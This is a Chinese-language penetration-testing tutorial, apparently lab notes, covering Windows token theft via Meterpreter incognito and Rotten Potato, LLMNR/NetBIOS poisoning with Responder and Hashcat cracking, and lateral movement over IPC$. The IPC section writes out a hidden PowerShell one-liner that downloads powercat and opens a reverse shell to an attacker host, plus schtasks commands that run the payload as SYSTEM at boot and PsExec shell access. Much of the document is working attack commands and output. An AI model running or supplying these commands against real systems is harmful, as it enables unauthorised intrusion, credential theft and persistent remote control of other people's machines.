提权&获得令牌
17、令牌窃取
0、前言
令牌(Token)是指系统中的临时秘钥,相当于账户和密码,有了令牌就可以在不知道密码的情况下访问目标相关资源了,这些令牌将持续存在于系统中,除非系统重新启动。
1、MSF
在获取到 Meterpreter Shell 后,使用以下命令获取令牌
load incognito
list_tokens -u

这里有两种令牌,一个是 Delegation Tokens 即授权令牌,还有一种是 Impersonation Tokens 即模拟令牌。前者支持交互式登录比如远程桌面,后者支持非交互的会话。
令牌获取的数量取决于获取到 Shell 的权限等级。
如果已经获取到了 SYSTEM 权限的令牌,那么攻击者就可以伪造这个令牌,拥有对应的权限。
impersonate_token "NT AUTHORITY\SYSTEM"

可以看到我们已经通过伪造 SYSTEM 的令牌拿到 SYSTEM 权限了。
不过值得注意的是,如果不加双引号,\ 需要改成 \\
才行,个人猜测可能是因为 \ 被当做转义字符处理的原因。

2、Rotten Potato 本地提权
Rotten Potato 直译过来就烂土豆的意思,如果目标中存在有效的令牌,就可以通过 Rotten Potato 模拟用户令牌实现提权。
Rotten Potato 项目地址:https://github.com/breenmachine/RottenPotatoNG
运行 RottenPotato.exe 直接弹出 SYSTEM 权限的 CMD 窗口,不需要用到 MSF。

18、LLMNR 和 NetBIOS 欺骗攻击
0、前言
如果已经进入目标网络,但是没有获得凭证,可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标进行无凭证条件下的权限获取。
1、基本概念
LLMNR
本地链路多播名称解析(LLMNR)是一种域名系统数据包格式,当局域网中的 DNS 服务器不可用时,DNS 客户端就会使用 LLMNR 解析本地网段中机器的名称,直到 DNS 服务器恢复正常为止。
从 Windows Vista 开始支持 LLMNR ,Linux 系统也通过 systemd 实现了此协议,同时 LLMNR 也支持 IPv6。
NetBIOS
NetBIOS 协议是由 IBM 公司开发,主要用于数十台计算机的小型局域网,根据 NetBIOS 协议广播获得计算机名称,并将其解析成相应的 IP 地址。
从 Windows NT 以后版本的所有操作系统中都可以使用 NetBIOS,不过 NetBIOS 不支持 IPv6.
NetBIOS 提供的三种服务:
i、NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据报,该服务默认监听 UDP 137 端口,也可以使用 TCP 的 137 端口进行监听。
ii、Datagram Distribution Service(数据报分发服务):无连接服务,该服务负责进行错误检测和恢复,默认监听 UDP 138 端口。
iii、Session Service(会话服务):允许两台计算机建立连接,默认使用 TCP 139 端口。
Net-NTLM Hash
NTLM 即 NT LAN Manager,NTLM 是指 telnet 的一种验证身份方式,即问询/应答协议,是 Windows NT 早期版本的标准安全协议。
Net-NTLM Hash 不同于 NTLM Hash,NTLM Hash 是 Windows 登录密码的 Hash 值,可以在 Windows 系统的 SAM 文件或者域控的 NTDS.dit 文件中提取到出来,NTLM Hash 支持哈希传递攻击。
Net-NTLM Hash 是网络环境下 NTLM 认证的 Hash,使用 Responder 抓取的通常就是 Net-NTLM Hash,该 Hash 不能进行哈希传递,但可用于 NTLM 中继攻击或者使用 Hashcat 等工具碰撞出明文进行横向。
2、利用
Responder 是一款使用 Python 编写用于毒化 LLMNR 和 NBT-NS 请求的一款工具。
假设我们已连接到 Windows Active Directory 环境,当网络上的设备尝试用 LLMNR 和 NBT-NS(NetBIOS 名称服务)请求来解析目标机器时,Responder 就会伪装成目标机器。
当受害者机器尝试登陆攻击者机器,Responder 就可以获取受害者机器用户的 Net-NTLM 哈希值。
Responder 项目地址:https://github.com/lgandx/Responder
Responder 不支持 Windows,这里使用 Kali 进行演示。
Responder 开启监听,-I 指定网卡,这里 eth1 的 IP 为 192.168.7.65
python Responder.py -I eth1
开启监听后,当目标主机上有人访问 Responder 主机的共享目录时,就会看到对方的 Net-NTLM 哈希值了。

再利用 Hashcat 进行碰撞
hashcat -m 5600 hash.txt password.txt -D 1

参考文章:
https://www.jianshu.com/p/a210528f9b35
https://baike.baidu.com/item/NTLM/6371298
https://baike.baidu.com/item/LLMNR/1116392
https://www.freebuf.com/articles/system/194549.html
https://baike.baidu.com/item/NetBIOS%E5%8D%8F%E8%AE%AE/8938996
19、IPC 与计划任务
0、前言
在多层代理的环境中,由于网络限制,通常采用命令行的方式连接主机,这里学习下 IPC 建立会话与配置计划任务的相关点。
1、IPC
IPC (Internet Process Connection) 是为了实现进程间通信而开放的命名管道,当目标开启了 IPC$ 文件共享并得到用户账号密码后,就可以使用 IPC 建立连接,获取权限。
建立 IPC 连接:
net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator
输入 net use 可以查看当前建立的连接
C:\>net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator
命令成功完成。
C:\>net use
会记录新的网络连接。
状态 本地 远程 网络
-------------------------------------------------------------------------------
OK \\192.168.7.107\ipc$ Microsoft Windows Network
命令成功完成。
映射磁盘到本地
net use t: \\192.168.7.107\c$
如果想删除映射的磁盘
net use t: /del
dir 列出对方目录
dir \\192.168.7.107\c$
C:\>dir \\192.168.7.107\c$
驱动器 \\192.168.7.107\c$ 中的卷没有标签。
卷的序列号是 BC2F-8F01
\\192.168.7.107\c$ 的目录
2020/11/24 17:28 <DIR> Program Files
2020/11/24 17:26 <DIR> Program Files (x86)
2021/02/13 17:49 <DIR> TEMP
2021/08/02 11:42 <DIR> Users
2020/11/25 08:37 <DIR> Windows
0 个文件 0 字节
5 个目录 32,833,009,664 可用字节
tasklist 查看进程
tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX
C:\>tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX
映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 368 K
smss.exe 260 0 628 K
csrss.exe 356 0 2,360 K
wininit.exe 408 0 264 K
csrss.exe 420 1 8,692 K
winlogon.exe 468 1 2,012 K
services.exe 512 0 7,460 K
lsass.exe 520 0 10,216 K
lsm.exe 528 0 4,148 K
spoolsv.exe 1356 0 6,504 K
svchost.exe 1392 0 7,028 K
使用 \del 可断开连接
net use \\192.168.7.107\ipc$ /del
2、计划任务
Windows 可用于创建计划任务的命令有两个,分别是 at 和 schtasks,at 在 Windows Server 2008 及之后的系统中,已经被废弃了。
这里看看在建立 IPC 连接后,使用计划任务运行可执行文件,主要步骤如下:
1、查看目标主机时间
2、上传可执行文件到目标主机
3、设置计划任务执行可执行文件
4、删除计划任务
首先查看下目标主机时间
net time \\192.168.7.107
C:\>net time \\192.168.7.107
\\192.168.7.107 的当前时间是 2021/8/2 14:28:01
命令成功完成。
创建一个反弹木马 bat 程序,这里使用 PowerShell 进行反弹,bat 文件内容如下:
powershell.exe -nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.7.4 -p 4444 -e cmd"
在攻击机上开启 nc 监听
nc -lvp 4444
将 bat 程序上传到目标主机
copy evil.bat \\192.168.7.107\c$
使用 at 创建计划任务
at \\192.168.7.107 14:30 C:\evil.bat
如果想清除 ID 为 1 的计划任务
at \\192.168.7.107 1 /del
使用 schtasks 创建计划任务
# 开机以 system 权限执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /sc onstart /tr C:\evil.bat /ru system /f
# 在 2021/08/03 前的每一天的 14:30:00 执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /tr C:\evil.bat /sc daily /st 14:30:00 /ed 2021/08/03
# 立刻运行名称为 evil 的任务
schtasks /run /s 192.168.7.107 /i /tn "evil"
如果想清除名称为 evil 的计划任务
schtasks /delete /s 192.168.7.107 /tn "evil" /f
在建立 IPC 连接后,除了使用计划任务进行间接的反弹 Shell,还可以通过 PsExec 直接反弹 Shell
PsExec 下载地址:https://download.sysinternals.com/files/PSTools.zip
Psexec.exe -accepteula \\192.168.7.107 -s cmd.exe

Last updated
Was this helpful?